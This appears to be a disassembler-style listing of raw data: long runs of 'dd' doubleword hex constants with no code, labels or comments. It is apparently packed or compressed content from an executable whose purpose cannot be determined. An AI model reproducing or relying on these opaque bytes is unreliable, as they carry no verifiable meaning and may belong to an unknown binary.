		dd 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h,	0E800244Ch
		dd 592556AFh, 12EB007h,	0C8471F8Ah, 0E44E4034h,	49004423h
		dd 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h
		dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h,	0BF366425h
		dd 1A296A80h, 185FE17h,	72F107A6h, 0D08E924Dh, 0EB007534h
		dd 0D04AD58Bh, 20BA61h,	0E36E9E65h, 408D85E1h, 80CFAA00h
		dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh,	0C8D6ADB2h
		dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h,	0BFFE0156h
		dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h,	0C3F43CE9h
		dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh
		dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh,	0D9008275h
		dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h
		dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h,	9FAB7200h
		dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h
		dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h
		dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh
		dd 0C7555Ah, 8870540Eh,	3C9EDF8Fh, 0FF72E300h, 5DADC815h
		dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h
		dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h
		dd 7222DCh, 0AF202414h,	0E8DBF93Bh, 468CF50Ah, 0DF05FE52h
		dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh,	22261993h
		dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h,	111F32E3h
		dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh,	4E00A471h
		dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h,	60230400h
		dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h,	5FEB2CF9h
		dd 117865h, 0BFE65AF1h,	0BB245818h, 7C8270BFh, 827C1CE8h
		dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh
		dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h
		dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh
		dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h,	5F2400D5h
		dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h
		dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h
		dd 57C1564h, 51E4B816h,	0FC30D205h, 90B0897Fh, 0ABE80041h
		dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h
		dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh
		dd 1FF200Fh, 558DB13Dh,	80A54724h, 13FA8347h, 0BF089916h
		dd 438CA500h, 110C648h,	0AD4A3063h, 0E8A8C40Eh,	0B2002A69h
		dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h
		dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h
		dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h
		dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h
		dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h
		dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h
		dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h
		dd 217E3B6Ch, 6580898h,	0E0001486h, 0A9298E0Bh,	3F407DDCh
		dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h
		dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h,	0BBB32927h
		dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h
		dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh,	8DFCA54Bh
		dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h
		dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h,	5DC62CBCh
		dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh,	3B974014h
		dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h
		dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h
		dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch,	85EA1465h
		dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h
		dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h,	40E59D03h
		dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h,	770740DEh
		dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h
		dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h,	14046B22h
		dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h
		dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh
		dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h
		dd 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h
		dd 421C8028h, 27038C3h,	9678732Eh, 6B1EDD00h, 201018h
		dd 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh
		dd 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch
		dd 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h
		dd 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h
		dd 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h
		dd 14819844h, 38000988h, 1C08119Ah, 467FE8h, 109BB802h
		dd 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h
		dd 0C605111h, 87B009A0h, 460410Eh, 7171860h, 0A13600E8h
		dd 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h,	3A47519h
		dd 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h,	4022E34h
		dd 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch
		dd 5C2074h, 942C4457h, 0F8116489h, 0BC026600h, 6239DC26h
		dd 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h,	90C0204h
		dd 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h, 0B10ECCC6h
		dd 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h, 0CC1D1B48h
		dd 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch, 0CC29ECA8h
		dd 11315408h, 2B744824h, 0BE2330h, 75D17632h, 14EC6405h
		dd 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch,	0A7C43818h
		dd 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h,	4C70253Ch
		dd 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h,	51766CF1h
		dd 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h,	0C64B972h
		dd 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h, 1E117CC6h
		dd 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh,	6AC24225h
		dd 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h, 1558408Dh
		dd 0C6010013h, 31181F84h, 821000Ch, 32032480h, 52E048E6h
		dd 746E7500h, 20656D69h, 0E27200E4h, 83DAE76Fh,	0EAFC6101h
		dd 863B3000h, 18455140h, 80112DBFh, 80191B57h, 0B5413938h
		dd 57805E5Ch, 0DEC0120h, 0A00A1D55h, 58C5C14Eh,	319C0C56h
		dd 0F8AE31B8h, 1007D430h, 1FC1F927h, 0F3911C23h, 0E20AD81Eh
		dd 1897001Dh, 7CF001ABh, 6C00A466h, 105AE433h, 0B70907ECh
		dd 3896DEh, 6C05265Ch, 4C185B66h, 7C006F74h, 128C8984h
		dd 9C092494h, 8791A448h, 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h
		dd 0FBECFBE4h, 4FCF8F4h, 0C5C0140h, 1C121489h, 2C48C424h
		dd 22349107h, 4C17443Ch, 0F81754F1h, 6CED64EDh,	0F67C6F70h
		dd 8C120584h, 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h
		dd 6A236547h, 5FA83E89h, 48605403h, 0C0F75808h,	6411610Ch
		dd 0E2BCC803h, 0B0316214h, 46801Ch, 88E02363h, 38C46494h
		dd 1FEC7200h, 306548E2h, 8C5E00F0h, 11660423h, 100D560h
		dd 37842A93h, 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh
		dd 585737C0h, 0A056005Ah, 454104ECh, 4F1C6A49h,	6301B811h
		dd 68676664h, 6C6B80EBh, 0AF6E5A6Dh, 74052F00h,	17A7877h
		dd 61200176h, 606F6965h, 9160B998h, 0C4A010DCh,	0A7AC0022h
		dd 0C6E80901h, 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh
		dd 0C8101101h, 30912009h, 44312200h, 2F388C34h,	69070041h
		dd 33E8C79Ah, 0B001E90Fh, 19F3F0F2h, 4520A490h,	1D2B90B8h
		dd 0C0F822D4h, 3C45581Ch, 741724DEh, 30408C48h,	0ECD444BCh
		dd 59040288h, 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h
		dd 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h
		dd 0AF51C049h, 391A1CB6h, 931500F4h, 1B926CB0h,	5B78B424h
		dd 95553B00h, 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h
		dd 0E3CD5300h, 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h
		dd 41659885h, 0F95018Fh, 728409E8h, 70589907h, 4070084Ch
		dd 8900737Fh, 0C5FF1C88h, 7CA3F003h, 75C80021h,	0A43110BEh
		dd 0A67EE408h, 1933D001h, 70EC09E0h, 0BA740D4h,	0F849CCC8h
		dd 90D7A287h, 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h
		dd 68E35409h, 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h
		dd 0EB32EB21h, 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h
		dd 152981Eh, 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh
		dd 10400E0Fh, 7894389Ch, 0A403BEBAh, 0C401811h,	0C40B99B4h
		dd 7BD02620h, 310D248Dh, 105C030Eh, 0E09B0E34h,	2001C0ACh
		dd 90E61294h, 0A8021376h, 1A6C3616h, 9C2D6019h,	1F401C80h
		dd 7022C184h, 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h
		dd 20192801h, 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh
		dd 0E0EC118Fh, 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh
		dd 9009937h, 0C1399032h, 1EC4023Bh, 0C0B4063Dh,	5C874C3Eh
		dd 400C8CCh, 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h
		dd 311FDC73h, 700019D4h, 785DD9BEh, 0F284E89Eh,	20AE0004h
		dd 79CC6398h, 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h
		dd 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h, 3652400h,	0C4793310h
		dd 4807519h, 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h
		dd 5C809219h, 9300053h,	3C247214h, 89161260h, 6003992Ch
		dd 0A8A5D481h, 0E2195C2Eh, 442000Ch, 9948515Ah,	0D07411BCh
		dd 0F9C4B93Ah, 26D9A500h, 65193440h, 5809007Ch,	0D4889C12h
		dd 0A000941Ch, 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h
		dd 0D9F82808h, 49145900h, 9FB4298Ch, 3C313E33h,	2060A987h
		dd 4C7470C9h, 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh
		dd 250CA49Eh, 129CC419h, 32BF00E0h, 0A514387Bh,	1B584CACh
		dd 69C6015Ah, 885BC33h,	1134F8h, 0D8A4F904h, 1C94A9DCh
		dd 4C619901h, 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h
		dd 66107A30h, 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h
		dd 94D31287h, 549A0E60h, 5CE090B0h, 0B466B896h,	6C61A973h
		dd 0CC5211ECh, 3106730h, 94B059F2h, 70C00C84h, 2390B199h
		dd 995AC00h, 74329CDCh,	258C0261h, 20D84C2Ch, 90A4B740h
		dd 0C6FC9600h, 786A59C0h, 0D7011E41h, 1B7257Ch,	5BEAC55h
		dd 91934C87h, 70539190h, 1800869Eh, 0AC562096h,	0FA5EC814h
		dd 9EF205C0h, 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch
		dd 2C0298h, 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh
		dd 3F961E93h, 1EC41093h, 0FA1887ADh, 995AF0B1h,	93E7031h
		dd 24A08088h, 91D448B8h, 0F22202E2h, 400CFE44h,	32896A60h
		dd 2425127Fh, 9FA07554h, 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh
		dd 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh, 22749158h,	8196FE86h
		dd 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh, 1973870Ah, 0C03611D2h
		dd 302944CAh, 807D1452h, 5B89053h, 0C20CAC7Dh, 28E489D4h
		dd 41400F4h, 268C1C97h,	27B83411h, 4C00427Eh, 64445822h
		dd 0C020A672h, 0B889A884h, 2430CC12h, 9823BFE0h, 111C1819h
		dd 223A522Ch, 5E444A05h, 3BC0897Ah, 0FB424A4h, 0D491C448h
		dd 0F0E0E2EFh, 991688FEh, 1226810Ch, 5CF53Ah, 82226E91h
		dd 89AA9844h, 0CA54BA7Fh, 0FEFEF297h, 9A0C100Ch, 0B329422h
		dd 0AC468A40h, 96C5A80h, 107DA686h, 89BAA805h, 0D19013CAh
		dd 259BE0F0h, 7F800E81h, 914E483Ah, 6E03607Fh, 898C8044h
		dd 0F8AEFB9Ch, 70154C8h
		dd 0BF08E429h, 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h
		dd 0A612009Ah, 3430B025h, 7200656Bh, 6C076E73h,	2E3233h
		dd 10D45E64h, 7487473Eh, 0C9789Dh, 0E66ECE1Eh, 1C0C6854h
		dd 49646117h, 446DD300h, 0F83046h, 69757243h, 617B63E4h
		dd 0EB537E00h, 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h
		dd 1895B000h, 27B6499Dh, 7AFC0124h, 566735A5h, 75EC43F7h
		dd 0EC46FE00h, 41A20E34h, 6F960382h, 0D5E8C663h, 19DA1CD0h
		dd 0A6001AF4h, 0CA51742Ah, 1079E4h, 64695706h, 61683EBCh
		dd 0D0548325h, 1D6C00F1h, 287942B8h, 0C03AE34h,	98212ED5h
		dd 7773F02Dh, 0DAA00074h, 4CE1416Eh, 3E00630Ch,	87FD7970h
		dd 17AD23Dh, 18740648h,	0CB726269h, 612445F1h, 32E9CCB4h
		dd 899B1D00h, 531223EDh, 88BA0097h, 0AE27094h, 417C6F66h
		dd 72504300h, 64713E7Bh, 735200CEh, 4DC73634h, 8700FA6Fh
		dd 61488E3Fh, 0CF96Eh, 18144F41h, 4E086946h, 6D0057F8h
		dd 565A5216h, 0F412544Dh, 459403A0h, 0E4A6DC72h, 6DD35390h
		dd 0A3938E00h, 3552A59Ah, 751B3F25h, 2C0E1900h,	0ED08BE64h
		dd 4D18B0E8h, 419C426Ah, 0FA730032h, 0D33EC72Ah, 9900569Dh
		dd 0A98A5724h, 0F19B080h, 0A6686E55h, 46B2E7C0h, 440E703Ch
		dd 0C033DA99h, 145374A4h, 501A0926h, 0B800946Fh, 4F5C4562h
		dd 3D9A6600h, 8CFFE0C3h, 0D4770082h, 1F490CD3h,	7B041857h
		dd 52F0ABF3h, 0A23066C0h, 90C6B864h, 2DA100A0h,	227AD153h
		dd 79288A4Eh, 6D0096BCh, 0E97E6954h, 0F8C44F1Eh, 43220070h
		dd 38527A4Bh, 0D47194D9h, 75CC4900h, 0CA9B7214h, 324B0367h
		dd 0BE406279h, 3AA664D0h, 3501917Dh, 6EEF05EEh,	4DE80A67h
		dd 619E00FFh, 6F428ABAh, 0A6024878h, 7D4E9F11h,	0C80943B6h
		dd 3F29767Bh, 4AA46970h, 326700F2h, 9143565Ch, 20E4D00h
		dd 9A4F29D9h, 0C06E39A6h, 21D41300h, 8723DB89h,	58A7A00h
		dd 29747561h, 70B50740h, 80A00DE4h, 0C4F0A9C3h,	2C0E66F4h
		dd 0A0986F16h, 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh
		dd 844DE965h, 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah
		dd 542849Ah, 9100B8E8h,	591B470Eh, 15DA4Eh, 677A66C5h
		dd 2A1749AAh, 9FE1B400h, 24125628h, 0DE4C3F41h,	0ED641400h
		dd 60934092h, 0E2CF5300h, 70476D75h, 54F6006Ah,	0EF5210B9h
		dd 536EC558h, 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h
		dd 0C463CADEh, 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h
		dd 0C4D42873h, 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h
		dd 322100F2h, 10946BF3h, 0EA7404B1h, 1E184CECh,	0A956F5F6h
		dd 134900B5h, 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h
		dd 149738Bh, 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh,	0CE4E456Eh
		dd 12D4EDBAh, 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h
		dd 0CC6B1E84h, 73F70DAh, 41256361h, 0F22EC097h,	5D005051h
		dd 93C077A2h, 0F4431923h, 219B0FE7h, 4480587Ah,	696F76FCh
		dd 24DF3E00h, 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h
		dd 0A2309C41h, 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah
		dd 53092084h, 8002574Ah, 0E65477DCh, 12A7075Bh,	0FF825014h
		dd 6C440580h, 0D5004967h, 252366EDh, 38699FA0h,	9480B970h
		dd 0A276B444h, 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h
		dd 1E324693h, 8FA6C241h, 6200CAE4h, 0D3EEA4EBh,	2658664h
		dd 57E08A63h, 0FD80D484h, 70412032h, 2990A605h,	41C0BAACh
		dd 9C9BA8h, 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh
		dd 0A3144EADh, 0EA5DA895h, 77F7958h, 3250F10Dh,	88222031h
		dd 0B41D2CD4h, 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh
		dd 0F3EC4CA8h, 3795CD77h, 2A1D7600h, 1268C6DEh,	4878D8h
		dd 412C5357h, 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h
		dd 1459A361h, 5C6521BAh, 8E1D680Bh, 0D025000Ah,	7D6FAB26h
		dd 981A0C7Dh, 868B1A5h,	1FD6B701h, 2552EB7Eh, 858630h
		dd 18547078h, 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h
		dd 203D3251h, 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h
		dd 70801h, 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h
		dd 0E850E44Ch, 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah
		dd 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh
		dd 0FCF2FCEAh, 2E100FAh, 12C90A31h, 0D93D1AD1h,	0E92A0022h
		dd 0F93AF132h, 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h
		dd 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h
		dd 4FFEFCF6h, 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah
		dd 0BF90B87Eh, 3477071Ch, 80CD9D3Ah, 27263513h,	7E0479Ch
		dd 55362161h, 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh
		dd 1ECD9EC2h, 1FDF9FD5h, 0F300E974h, 0F390987h,	15471D27h
		dd 0B43A6730h, 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h
		dd 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah
		dd 2E672847h, 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh
		dd 303B1AE1h, 0D17FC9h,	0E0BDD99Fh, 0DC723CCFh,	3D0F1C00h
		dd 1D2E9D15h, 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh
		dd 0F4F8ECF4h, 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h
		dd 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh
		dd 8CC0007h, 3A309C3Bh,	1D00649Dh, 1E7D9E6Dh, 3A8B9F85h
		dd 9B3B941Fh, 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh
		dd 3EFE971Eh, 5401488Eh, 73495C0Fh, 0C492F924h,	4600CA10h
		dd 1CFC7E0Eh, 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh
		dd 87F980EEh, 3083302h,	21471827h, 0F0017267h, 93C789A7h
		dd 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h, 3465E1h,	0D1ABC98Dh
		dd 0E0BFD9B7h, 72351900h, 7627741Fh, 6278014Ah,	3F368349h
		dd 0D0C9C9B5h, 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh
		dd 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h
		dd 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh
		dd 0D3C3A1B3h, 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h
		dd 12A71DCCh, 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h
		dd 0CF19ABC8h, 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah
		dd 1CF2007Eh, 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh
		dd 7873762Bh, 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h
		dd 673D4447h, 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h
		dd 9A24CDE9h, 9AE8FCE3h, 3604003Ch, 0D117C909h,	0CA00D9BEh
		dd 503AFBE0h, 4080C4h, 0C3146C81h, 0A7934A92h, 0B2B6A301h
		dd 643203CFh, 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h
		dd 368040E8h, 0E6A12A56h, 76F20074h, 380B1CF9h,	32009D29h
		dd 459E3E1Dh, 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h
		dd 723B0EC8h, 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh
		dd 0E0C953h, 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h
		dd 28C1206h, 345E00C3h,	0A33A9333h, 53B3441Eh, 67D35DC0h
		dd 0F279E3h, 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch,	0D31DCB9Dh
		dd 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh
		dd 7C2C7A74h, 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh,	4F8A0F82h
		dd 0CF9A8F92h, 0CFAACFA2h
		dd 0C0C4CFB2h, 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h
		dd 9E758473h, 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch
		dd 91D259Dh, 1E489E43h,	87675584h, 678647B5h, 0AF96878Eh
		dd 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh
		dd 80F61FFFh, 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h
		dd 46EE0E4Fh, 56404ECFh, 661A0FD6h, 76F46EF0h, 0CA0E7EF8h
		dd 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h
		dd 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h, 1E8E0016h
		dd 2E0F26CFh, 8F00364Fh, 2746CB3Eh, 14E75638h, 0F466E55Eh
		dd 7EF27603h, 0F9D92EC9h, 6406C8F4h, 0E8142C01h, 0F024EC1Ch
		dd 0E1190DCh, 44FC3CF8h, 548E4C4Eh, 640F5CCFh, 748F6C4Fh
		dd 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h
		dd 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h, 40260F4h, 3A0C3B39h
		dd 1C00143Ah, 2C3D243Ch, 3F77343Eh, 4CE844E4h, 5C7A1B92h
		dd 6C7E647Ch, 7C7E747Eh, 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh
		dd 0BC49B47Eh, 3FCC3F23h, 24DC05D4h, 4E87AAE4h,	487FC20h
		dd 195B03Ch, 671C4714h,	602C8424h, 253CC93h, 7CFEC77Fh
		dd 40E884E7h, 7ED492A3h, 0CE74BC72h, 0FE00CCFh,	80FA5FF4h
		dd 7404723Dh, 140C7608h, 0BB481078h, 1C396548h,	3C3B2A3Ah
		dd 643D5C3Ch, 6C3F683Eh, 743F703Fh, 2C64783Fh, 987C9280h
		dd 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h
		dd 1C3E0114h, 248B204Eh, 0A72CE427h, 34C43001h,	3CE75D87h
		dd 0EC6CEC74h, 0F478F074h, 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch
		dd 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h, 0F3E450C3h
		dd 0F2ECC8E8h, 54690400h, 0D930D12Ch, 38E13934h, 4E405C92h
		dd 4C884830h, 8815ABA9h, 0AF902AADh, 3F309849h,	91A422A0h
		dd 49E0122Ah, 2E24E82Ch, 0F83093F0h, 8C99F0F7h,	130F6010h
		dd 612501D4h, 51347882h, 0F96890F3h, 3090E488h,	0BA675274h
		dd 0A4727E54h, 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh
		dd 0D0F8C3F4h, 3970FCh,	83A0431h, 383C665Ch, 2E403D00h
		dd 4C9F6844h, 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h
		dd 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh
		dd 82D7F8E5h, 93043D80h, 0CA30008h, 20C310B3h, 500040D2h
		dd 0B4C4A94h, 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch
		dd 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h
		dd 48045D33h, 3C00D7ACh, 0B2142E10h, 960E1C9Fh,	214F1720h
		dd 60CF5C22h, 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh
		dd 12BC8732h, 2249C0E7h, 7C2426C8h, 0DC00D87Eh,	3974ECE6h
		dd 4D3A1434h, 200B1018h, 5A8E243Dh, 0FDFF2C20h,	4873029Fh
		dd 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h
		dd 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh
		dd 782E5CE8h, 592400CCh, 0B35C9228h, 38F47F13h,	20B88F01h
		dd 0DA2474BAh, 78CC927Ch, 7C8C7A88h, 98C3A090h,	0A01E0E0Fh
		dd 0B840A4CFh, 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h
		dd 0ED3CE834h, 44095670h, 4F848F4h, 49D25094h, 419A4A58h
		dd 0E2F1C688h, 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h
		dd 4104623Bh, 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h
		dd 818E259Fh, 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h
		dd 0A2607083h, 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h
		dd 0A748009Fh, 81331C50h, 0F9B9D07h, 36A034B5h,	4F274Ah
		dd 1ED35B45h, 50B0D2ABh, 0EF007EE0h, 3A0E215Dh,	388B3B65h
		dd 9F00A72Eh, 4B0216D8h, 273347F2h, 0F08282E6h,	0DCC7BCh
		dd 713905E1h, 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h
		dd 2B0E0058h, 704E6B3Bh, 0CF00788Eh, 21B30BA2h,	613C7150h
